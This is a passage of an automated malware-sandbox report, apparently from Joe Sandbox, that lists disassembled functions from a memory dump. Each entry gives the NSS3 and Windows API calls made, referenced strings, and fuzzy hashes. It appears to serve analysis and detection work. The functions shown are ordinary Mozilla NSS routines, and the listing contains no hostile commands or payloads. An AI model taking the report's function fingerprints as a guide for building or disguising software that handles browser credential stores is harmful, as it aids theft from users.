Associated: 00000001.00000002.1924283439.000000006CFDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924392670.000000006CFDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924426284.000000006CFE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924470792.000000006CFE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6ce00000_file.jbxd

Similarity

API ID: sqlite3_free$strlen$sqlite3_snprintf$CriticalSectionmemset$EnterLeavesqlite3_randomness
String ID: mz_etilqs_$winGetTempname1$winGetTempname2$winGetTempname4$winGetTempname5
API String ID: 593473924-707647140
Opcode ID: c73d2822e5437f8a83b85bf0a7cd9223a72ee7853462ad2ff26b541a9d81fbaa
Instruction ID: 0a3c647d9bf038842e163df992be9a0881b66431fb4b2d1ebb00ef9a91195e0f
Opcode Fuzzy Hash: c73d2822e5437f8a83b85bf0a7cd9223a72ee7853462ad2ff26b541a9d81fbaa
Instruction Fuzzy Hash: 4A518EB2F1011167E70496309C51FBB36A69FA2318F64453CFA1197BC2FB26992E82D3

Function 6CEE4FE0 Relevance: 40.4, APIs: 18, Strings: 5, Instructions: 175COMMON

Download Yara Rule

APIs

isspace.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,?,?,?,?,?,00000000,00000000,?,6CE975C2,00000000,00000000,00000001), ref: 6CEE5009
PL_strncasecmp.NSS3(?,library=,00000008,?,?,?,?,?,?,?,?,00000000,00000000,?,6CE975C2,00000000), ref: 6CEE5049
PL_strncasecmp.NSS3(?,name=,00000005,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6CEE505D
PL_strncasecmp.NSS3(?,parameters=,0000000B,?,?,?,?,?,?,?,?), ref: 6CEE5071
PL_strncasecmp.NSS3(?,nss=,00000004,?,?,?,?,?,?,?,?,?,?,?), ref: 6CEE5089
PL_strncasecmp.NSS3(?,config=,00000007,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CEE50A1
NSSUTIL_ArgSkipParameter.NSS3(?), ref: 6CEE50B2
free.MOZGLUE(00000000,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6CE975C2), ref: 6CEE50CB
NSSUTIL_ArgFetchValue.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6CEE50D9
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 6CEE50F5
NSSUTIL_ArgFetchValue.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CEE5103
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CEE511D
NSSUTIL_ArgFetchValue.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CEE512B
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CEE5145
NSSUTIL_ArgFetchValue.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CEE5153
free.MOZGLUE(?), ref: 6CEE516D
NSSUTIL_ArgFetchValue.NSS3(?,?), ref: 6CEE517B
isspace.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6CEE5195

Strings

nss=, xrefs: 6CEE5083
name=, xrefs: 6CEE5057
library=, xrefs: 6CEE5043
parameters=, xrefs: 6CEE506B
config=, xrefs: 6CEE509B

Memory Dump Source

Source File: 00000001.00000002.1923926179.000000006CE01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CE00000, based on PE: true

Associated: 00000001.00000002.1923899574.000000006CE00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924170636.000000006CF9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924283439.000000006CFDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924392670.000000006CFDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924426284.000000006CFE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924470792.000000006CFE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6ce00000_file.jbxd

Similarity

API ID: FetchL_strncasecmpValuefree$isspace$ParameterSkip
String ID: config=$library=$name=$nss=$parameters=
API String ID: 391827415-203331871
Opcode ID: d399da5f0918696276e8f1b60c19ee4ff54bfb80a6a629645f778c680f9e5221
Instruction ID: b0fd658167cedc155f2d2c7295b69c63ab13c9c03aaf406f28a45449ee1d8453
Opcode Fuzzy Hash: d399da5f0918696276e8f1b60c19ee4ff54bfb80a6a629645f778c680f9e5221
Instruction Fuzzy Hash: A05193B5A122165BEB00DF349C41AAB37B89F0A38CF240464EC15E7741EB25E919CBB2

Function 6CEB8E50 Relevance: 40.4, APIs: 14, Strings: 9, Instructions: 169COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_WrapKey), ref: 6CEB8E76
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6CEB8EA4
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6CEB8EB3

Part of subcall function 6CF9D930: PL_strncpyz.NSS3(?,?,?), ref: 6CF9D963

PR_LogPrint.NSS3(?,00000000), ref: 6CEB8EC9
PR_LogPrint.NSS3( pMechanism = 0x%p,?), ref: 6CEB8EE5
PL_strncpyz.NSS3(?, hWrappingKey = 0x%x,00000050), ref: 6CEB8F17
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6CEB8F29
PR_LogPrint.NSS3(?,00000000), ref: 6CEB8F3F
PL_strncpyz.NSS3(?, hKey = 0x%x,00000050), ref: 6CEB8F71
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6CEB8F80
PR_LogPrint.NSS3(?,00000000), ref: 6CEB8F96
PR_LogPrint.NSS3( pWrappedKey = 0x%p,?), ref: 6CEB8FB2
PR_LogPrint.NSS3( pulWrappedKeyLen = 0x%p,?), ref: 6CEB8FCD
PR_LogPrint.NSS3( *pulWrappedKeyLen = 0x%x,?), ref: 6CEB9047

Strings

hWrappingKey = 0x%x, xrefs: 6CEB8F01, 6CEB8F11
pulWrappedKeyLen = 0x%p, xrefs: 6CEB8FC8
hKey = 0x%x, xrefs: 6CEB8F5B, 6CEB8F6B
hSession = 0x%x, xrefs: 6CEB8E8E, 6CEB8E9E
C_WrapKey, xrefs: 6CEB8E71
pMechanism = 0x%p, xrefs: 6CEB8EE0
pWrappedKey = 0x%p, xrefs: 6CEB8FAD
*pulWrappedKeyLen = 0x%x, xrefs: 6CEB9042
(CK_INVALID_HANDLE), xrefs: 6CEB8EAC, 6CEB8F1F, 6CEB8F79

Memory Dump Source

Source File: 00000001.00000002.1923926179.000000006CE01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CE00000, based on PE: true

Associated: 00000001.00000002.1923899574.000000006CE00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924170636.000000006CF9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924283439.000000006CFDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924392670.000000006CFDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924426284.000000006CFE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924470792.000000006CFE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6ce00000_file.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: *pulWrappedKeyLen = 0x%x$ hKey = 0x%x$ hSession = 0x%x$ hWrappingKey = 0x%x$ pMechanism = 0x%p$ pWrappedKey = 0x%p$ pulWrappedKeyLen = 0x%p$ (CK_INVALID_HANDLE)$C_WrapKey
API String ID: 1003633598-4293906258
Opcode ID: afb91b04156a937441a7a5e17ab9eed31735807643be13f99fb1814d41a04173
Instruction ID: 53f6416a78f11a6ff0eff8b57578a4510945bfb5536eb412e5c14bdc4e8bb438
Opcode Fuzzy Hash: afb91b04156a937441a7a5e17ab9eed31735807643be13f99fb1814d41a04173
Instruction Fuzzy Hash: FF510631A0110AFFDB549F40DE48FAE7B72AB4A30CF154429F50877B12EB369919CB91

Function 6CEE4C10 Relevance: 40.4, APIs: 13, Strings: 10, Instructions: 146stringmemoryCOMMON

Download Yara Rule

APIs

PR_smprintf.NSS3(%s,%s,00000000,?,0000002F,?,?,?,00000000,00000000,?,6CED4F51,00000000), ref: 6CEE4C50
free.MOZGLUE(00000000,?,?,?,0000002F,?,?,?,00000000,00000000,?,6CED4F51,00000000), ref: 6CEE4C5B
PR_smprintf.NSS3(6CFBAAF9,?,0000002F,?,?,?,00000000,00000000,?,6CED4F51,00000000), ref: 6CEE4C76
PORT_ZAlloc_Util.NSS3(0000001A,0000002F,?,?,?,00000000,00000000,?,6CED4F51,00000000), ref: 6CEE4CAE
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CEE4CC9
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CEE4CF4
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CEE4D0B
free.MOZGLUE(00000000,?,?,?,0000002F,?,?,?,00000000,00000000,?,6CED4F51,00000000), ref: 6CEE4D5E
free.MOZGLUE(00000000,?,?,?,0000002F,?,?,?,00000000,00000000,?,6CED4F51,00000000), ref: 6CEE4D68
PR_smprintf.NSS3(0x%08lx=[%s %s],0000002F,?,00000000), ref: 6CEE4D85
PR_smprintf.NSS3(0x%08lx=[%s askpw=%s timeout=%d %s],0000002F,?,?,?,00000000), ref: 6CEE4DA2
free.MOZGLUE(?), ref: 6CEE4DB9
free.MOZGLUE(00000000), ref: 6CEE4DCF

Strings

every, xrefs: 6CEE4CA1
slotFlags, xrefs: 6CEE4D34
ootT, xrefs: 6CEE4D1A
any, xrefs: 6CEE4C96
rust, xrefs: 6CEE4D22
rootFlags, xrefs: 6CEE4D47
timeout, xrefs: 6CEE4C91
0x%08lx=[%s askpw=%s timeout=%d %s], xrefs: 6CEE4D9D
0x%08lx=[%s %s], xrefs: 6CEE4D80
%s,%s, xrefs: 6CEE4C4B

Memory Dump Source

Source File: 00000001.00000002.1923926179.000000006CE01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CE00000, based on PE: true

Associated: 00000001.00000002.1923899574.000000006CE00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924170636.000000006CF9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924283439.000000006CFDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924392670.000000006CFDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924426284.000000006CFE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924470792.000000006CFE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6ce00000_file.jbxd

Similarity

API ID: free$R_smprintf$strlen$Alloc_Util
String ID: %s,%s$0x%08lx=[%s %s]$0x%08lx=[%s askpw=%s timeout=%d %s]$any$every$ootT$rootFlags$rust$slotFlags$timeout
API String ID: 3756394533-2552752316
Opcode ID: ab191f5055bbc0a0521ab9a038805c6843bfa397c609d313ceacd126dcc22bb2
Instruction ID: 98f82909749840b612e170d6d2ddf6a19ed5a9f65ba090190003ade33ae727f3
Opcode Fuzzy Hash: ab191f5055bbc0a0521ab9a038805c6843bfa397c609d313ceacd126dcc22bb2
Instruction Fuzzy Hash: D14190B1D101416BEB129FA59C44ABF3775AF8A38CF29412AEC155BB01EB31E924C7D3

Function 6CEC6CD0 Relevance: 37.0, APIs: 20, Strings: 1, Instructions: 298stringCOMMON

Download Yara Rule

APIs

Part of subcall function 6CEC6910: NSSUTIL_ArgHasFlag.NSS3(flags,readOnly,00000000), ref: 6CEC6943
Part of subcall function 6CEC6910: NSSUTIL_ArgHasFlag.NSS3(flags,nocertdb,00000000), ref: 6CEC6957
Part of subcall function 6CEC6910: NSSUTIL_ArgHasFlag.NSS3(flags,nokeydb,00000000), ref: 6CEC6972
Part of subcall function 6CEC6910: NSSUTIL_ArgStrip.NSS3(00000000), ref: 6CEC6983
Part of subcall function 6CEC6910: PL_strncasecmp.NSS3(00000000,configdir=,0000000A), ref: 6CEC69AA
Part of subcall function 6CEC6910: PL_strncasecmp.NSS3(00000000,certPrefix=,0000000B), ref: 6CEC69BE
Part of subcall function 6CEC6910: PL_strncasecmp.NSS3(00000000,keyPrefix=,0000000A), ref: 6CEC69D2
Part of subcall function 6CEC6910: NSSUTIL_ArgSkipParameter.NSS3(00000000), ref: 6CEC69DF
Part of subcall function 6CEC6910: NSSUTIL_ArgStrip.NSS3(?), ref: 6CEC6A5B

strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,00000000), ref: 6CEC6D8C
free.MOZGLUE(00000000), ref: 6CEC6DC5
free.MOZGLUE(?), ref: 6CEC6DD6
free.MOZGLUE(?), ref: 6CEC6DE7
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,00000000), ref: 6CEC6E1F
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,?), ref: 6CEC6E4B
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,?), ref: 6CEC6E72
free.MOZGLUE(?), ref: 6CEC6EA7
free.MOZGLUE(?), ref: 6CEC6EC4
free.MOZGLUE(?), ref: 6CEC6ED5
free.MOZGLUE(00000000), ref: 6CEC6EE3
free.MOZGLUE(?), ref: 6CEC6EF4
free.MOZGLUE(?), ref: 6CEC6F08
free.MOZGLUE(00000000), ref: 6CEC6F35
free.MOZGLUE(?), ref: 6CEC6F44
free.MOZGLUE(?), ref: 6CEC6F5B
free.MOZGLUE(00000000), ref: 6CEC6F65

Part of subcall function 6CEC6C30: strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,dbm:,00000004,6CEC781D,00000000,6CEBBE2C,?,6CEC6B1D,?,?,?,?,00000000,00000000,6CEC781D), ref: 6CEC6C40
Part of subcall function 6CEC6C30: strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,sql:,00000004,?,?,?,?,?,?,?,00000000,00000000,6CEC781D,?,6CEBBE2C,?), ref: 6CEC6C58
Part of subcall function 6CEC6C30: strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,rdb:,00000004,?,?,?,?,?,?,?,?,?,?,00000000,00000000,6CEC781D), ref: 6CEC6C6F
Part of subcall function 6CEC6C30: strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,extern:,00000007), ref: 6CEC6C84
Part of subcall function 6CEC6C30: PR_GetEnvSecure.NSS3(NSS_DEFAULT_DB_TYPE), ref: 6CEC6C96
Part of subcall function 6CEC6C30: strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,dbm), ref: 6CEC6CAA

strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,?), ref: 6CEC6F90
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,?), ref: 6CEC6FC5
PK11_GetInternalKeySlot.NSS3 ref: 6CEC6FF4

Strings

+`l, xrefs: 6CEC6D0D

Memory Dump Source

Source File: 00000001.00000002.1923926179.000000006CE01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CE00000, based on PE: true

Associated: 00000001.00000002.1923899574.000000006CE00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924170636.000000006CF9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924283439.000000006CFDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924392670.000000006CFDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924426284.000000006CFE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924470792.000000006CFE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6ce00000_file.jbxd

Similarity

API ID: free$strcmp$strncmp$FlagL_strncasecmp$Strip$InternalK11_ParameterSecureSkipSlot
String ID: +`l
API String ID: 1304971872-283784926
Opcode ID: 8e8d0b076773f81e33159858c1dd0ca5f28ebd51d90d4c50797e5c001408425c
Instruction ID: 98c3fc1f9cb108332da8ced8606a0c985d2b28af44b6fdd0b69e796b19cb96fa
Opcode Fuzzy Hash: 8e8d0b076773f81e33159858c1dd0ca5f28ebd51d90d4c50797e5c001408425c
Instruction Fuzzy Hash: 2DB11BB5F012199FDF00DBA5DA45BAFBBB8AF0534CF240025E825E7741E731A915CBA2

Function 6CE8DDD0 Relevance: 35.2, APIs: 17, Strings: 3, Instructions: 169memorystringtimeCOMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000800), ref: 6CE8DDDE

Part of subcall function 6CEE0FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6CE887ED,00000800,6CE7EF74,00000000), ref: 6CEE1000
Part of subcall function 6CEE0FF0: PR_NewLock.NSS3(?,00000800,6CE7EF74,00000000), ref: 6CEE1016
Part of subcall function 6CEE0FF0: PL_InitArenaPool.NSS3(00000000,security,6CE887ED,00000008,?,00000800,6CE7EF74,00000000), ref: 6CEE102B

PORT_ArenaAlloc_Util.NSS3(00000000,00000018), ref: 6CE8DDF5

Part of subcall function 6CEE10C0: TlsGetValue.KERNEL32(?,6CE88802,00000000,00000008,?,6CE7EF74,00000000), ref: 6CEE10F3
Part of subcall function 6CEE10C0: EnterCriticalSection.KERNEL32(?,?,6CE88802,00000000,00000008,?,6CE7EF74,00000000), ref: 6CEE110C
Part of subcall function 6CEE10C0: PL_ArenaAllocate.NSS3(?,?,?,6CE88802,00000000,00000008,?,6CE7EF74,00000000), ref: 6CEE1141
Part of subcall function 6CEE10C0: PR_Unlock.NSS3(?,?,?,6CE88802,00000000,00000008,?,6CE7EF74,00000000), ref: 6CEE1182
Part of subcall function 6CEE10C0: TlsGetValue.KERNEL32(?,6CE88802,00000000,00000008,?,6CE7EF74,00000000), ref: 6CEE119C

PORT_ArenaAlloc_Util.NSS3(00000000,00000000), ref: 6CE8DE34
PR_Now.NSS3 ref: 6CE8DE93
CERT_CheckCertValidTimes.NSS3(?,00000000,?,00000000), ref: 6CE8DE9D
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CE8DEB4
PORT_ArenaAlloc_Util.NSS3(?,00000001), ref: 6CE8DEC3
memcpy.VCRUNTIME140(00000000,?,00000001), ref: 6CE8DED8
PR_smprintf.NSS3(%s%s,?,?), ref: 6CE8DEF0
PR_smprintf.NSS3(6CFBAAF9,(NULL) (Validity Unknown)), ref: 6CE8DF04
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CE8DF13
PORT_ArenaAlloc_Util.NSS3(?,00000001), ref: 6CE8DF22
memcpy.VCRUNTIME140(00000000,00000000,00000001), ref: 6CE8DF33
free.MOZGLUE(00000000), ref: 6CE8DF3C
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CE8DF4B
free.MOZGLUE(00000000), ref: 6CE8DF74
PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6CE8DF8E

Strings

(NULL) (Validity Unknown), xrefs: 6CE8DEFA
%s%s, xrefs: 6CE8DEEB
{???}, xrefs: 6CE8DE8B

Memory Dump Source

Source File: 00000001.00000002.1923926179.000000006CE01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CE00000, based on PE: true

Associated: 00000001.00000002.1923899574.000000006CE00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924170636.000000006CF9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924283439.000000006CFDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924392670.000000006CFDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924426284.000000006CFE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924470792.000000006CFE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6ce00000_file.jbxd

Similarity

API ID: ArenaUtil$Alloc_$strlen$Arena_R_smprintfValuefreememcpy$AllocateCertCheckCriticalEnterFreeInitLockPoolSectionTimesUnlockValidcalloc
String ID: %s%s$(NULL) (Validity Unknown)${???}
API String ID: 1882561532-3437882492
Opcode ID: 476608ca017335c9b6227c8cb0d1d7c789b5fd25ff56ab45917bd0eb867eef06
Instruction ID: ca49deb3a993e3df2414ae676ba1e9a39445a2778ca0c007710ae22792722195
Opcode Fuzzy Hash: 476608ca017335c9b6227c8cb0d1d7c789b5fd25ff56ab45917bd0eb867eef06
Instruction Fuzzy Hash: 7E51A4B5E011065BDF10DF659C41AAF7BB9AF85398F244029E80DE7B01EB31DA15CBE2

Function 6CEC2D80 Relevance: 33.4, APIs: 22, Instructions: 381COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,?,?,?,?,00000000,?), ref: 6CEC2DEC
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,00000000,?), ref: 6CEC2E00
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,00000000,?), ref: 6CEC2E2B
PR_SetError.NSS3(00000000,00000000,?,?,?,?,?,?,?,?,?,?,?,00000000,?), ref: 6CEC2E43
TlsGetValue.KERNEL32(?,?,?,?,?,?,?,00000000,?,?,?,6CE94F1C,?,-00000001,00000000,?), ref: 6CEC2E74
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,00000000,?,?,?,6CE94F1C,?,-00000001,00000000), ref: 6CEC2E88
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,?,?), ref: 6CEC2EC6
TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,00000000,?,?), ref: 6CEC2EE4
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,?,?), ref: 6CEC2EF8
PR_Unlock.NSS3(?), ref: 6CEC2F62
TlsGetValue.KERNEL32 ref: 6CEC2F86
EnterCriticalSection.KERNEL32(0000001C), ref: 6CEC2F9E
PR_Unlock.NSS3(?), ref: 6CEC2FCA
TlsGetValue.KERNEL32 ref: 6CEC301A
EnterCriticalSection.KERNEL32(?), ref: 6CEC302E
PR_Unlock.NSS3(?), ref: 6CEC3066
PR_SetError.NSS3(00000000,00000000), ref: 6CEC3085
PR_Unlock.NSS3(?), ref: 6CEC30EC
TlsGetValue.KERNEL32 ref: 6CEC310C
EnterCriticalSection.KERNEL32(0000001C), ref: 6CEC3124
PR_Unlock.NSS3(?), ref: 6CEC314C

Part of subcall function 6CEA9180: PK11_NeedUserInit.NSS3(?,?,?,00000000,00000001,6CED379E,?,6CEA9568,00000000,?,6CED379E,?,00000001,?), ref: 6CEA918D
Part of subcall function 6CEA9180: PR_SetError.NSS3(FFFFE000,00000000,?,?,?,00000000,00000001,6CED379E,?,6CEA9568,00000000,?,6CED379E,?,00000001,?), ref: 6CEA91A0

Part of subcall function 6CE707A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6CE0204A), ref: 6CE707AD
Part of subcall function 6CE707A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6CE0204A), ref: 6CE707CD
Part of subcall function 6CE707A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6CE0204A), ref: 6CE707D6
Part of subcall function 6CE707A0: calloc.MOZGLUE(00000001,00000144,?,?,?,?,6CE0204A), ref: 6CE707E4
Part of subcall function 6CE707A0: TlsSetValue.KERNEL32(00000000,?,6CE0204A), ref: 6CE70864
Part of subcall function 6CE707A0: calloc.MOZGLUE(00000001,0000002C), ref: 6CE70880
Part of subcall function 6CE707A0: TlsSetValue.KERNEL32(00000000,?,?,6CE0204A), ref: 6CE708CB
Part of subcall function 6CE707A0: TlsGetValue.KERNEL32(?,?,6CE0204A), ref: 6CE708D7
Part of subcall function 6CE707A0: TlsGetValue.KERNEL32(?,?,6CE0204A), ref: 6CE708FB

PR_SetError.NSS3(00000000,00000000), ref: 6CEC316D

Memory Dump Source

Source File: 00000001.00000002.1923926179.000000006CE01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CE00000, based on PE: true

Associated: 00000001.00000002.1923899574.000000006CE00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924170636.000000006CF9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924283439.000000006CFDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924392670.000000006CFDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924426284.000000006CFE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924470792.000000006CFE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6ce00000_file.jbxd

Similarity

API ID: Value$Unlock$CriticalEnterSection$Error$calloc$InitK11_NeedUser
String ID:
API String ID: 3383223490-0
Opcode ID: 898b4142bd68c8a85265cf3206ca6544ecd2dede9fbd412845a097e487bc7c47
Instruction ID: a4201ef059192ffbaa386300ead3ca10885f40ad40297dd241f3667e6071f3b2
Opcode Fuzzy Hash: 898b4142bd68c8a85265cf3206ca6544ecd2dede9fbd412845a097e487bc7c47
Instruction Fuzzy Hash: 29F19CB1E00608AFDF40DFA8D844B99BBB5BF09318F244169EC14A7711EB31E995CB92

Function 6CEBAF20 Relevance: 33.4, APIs: 10, Strings: 9, Instructions: 126COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_SignMessage), ref: 6CEBAF46
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6CEBAF74
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6CEBAF83

Part of subcall function 6CF9D930: PL_strncpyz.NSS3(?,?,?), ref: 6CF9D963

PR_LogPrint.NSS3(?,00000000), ref: 6CEBAF99
PR_LogPrint.NSS3( pParameter = 0x%p,?), ref: 6CEBAFBE
PR_LogPrint.NSS3( ulParameterLen = 0x%p,?), ref: 6CEBAFD9
PR_LogPrint.NSS3( pData = 0x%p,?), ref: 6CEBAFF4
PR_LogPrint.NSS3( ulDataLen = %d,?), ref: 6CEBB00F
PR_LogPrint.NSS3( pSignature = 0x%p,?), ref: 6CEBB028
PR_LogPrint.NSS3( pulSignatureLen = 0x%p,?), ref: 6CEBB041

Strings

pParameter = 0x%p, xrefs: 6CEBAFB9
hSession = 0x%x, xrefs: 6CEBAF5E, 6CEBAF6E
pulSignatureLen = 0x%p, xrefs: 6CEBB03C
ulDataLen = %d, xrefs: 6CEBB00A
pSignature = 0x%p, xrefs: 6CEBB023
C_SignMessage, xrefs: 6CEBAF41
pData = 0x%p, xrefs: 6CEBAFEF
(CK_INVALID_HANDLE), xrefs: 6CEBAF7C
ulParameterLen = 0x%p, xrefs: 6CEBAFD4

Memory Dump Source

Source File: 00000001.00000002.1923926179.000000006CE01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CE00000, based on PE: true

Associated: 00000001.00000002.1923899574.000000006CE00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924170636.000000006CF9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924283439.000000006CFDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924392670.000000006CFDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924426284.000000006CFE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924470792.000000006CFE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6ce00000_file.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: hSession = 0x%x$ pData = 0x%p$ pParameter = 0x%p$ pSignature = 0x%p$ pulSignatureLen = 0x%p$ ulDataLen = %d$ ulParameterLen = 0x%p$ (CK_INVALID_HANDLE)$C_SignMessage
API String ID: 1003633598-1612141141
Opcode ID: 11faf59c8ebcf9ec635e6a0103e6cd793a3fc81d8dadf00a513b81ec1d26c127
Instruction ID: bccef9e1c05666ee24540fc9673e3d93fe6e7a5e74e10415ffdf7a2b581c3dda
Opcode Fuzzy Hash: 11faf59c8ebcf9ec635e6a0103e6cd793a3fc81d8dadf00a513b81ec1d26c127
Instruction Fuzzy Hash: 3341E635A01009FFDF848F54DE88FA97BB2AB4A30DF194428F50867721DB368D19CBA1

Function 6CEA9FA0 Relevance: 31.7, APIs: 17, Strings: 1, Instructions: 184COMMON

Download Yara Rule

APIs

CERT_NewCertList.NSS3 ref: 6CEA9FBE

Part of subcall function 6CE82F00: PORT_NewArena_Util.NSS3(00000800), ref: 6CE82F0A
Part of subcall function 6CE82F00: PORT_ArenaAlloc_Util.NSS3(00000000,0000000C), ref: 6CE82F1D

PL_InitArenaPool.NSS3(?,security,00000800,00000008), ref: 6CEAA015

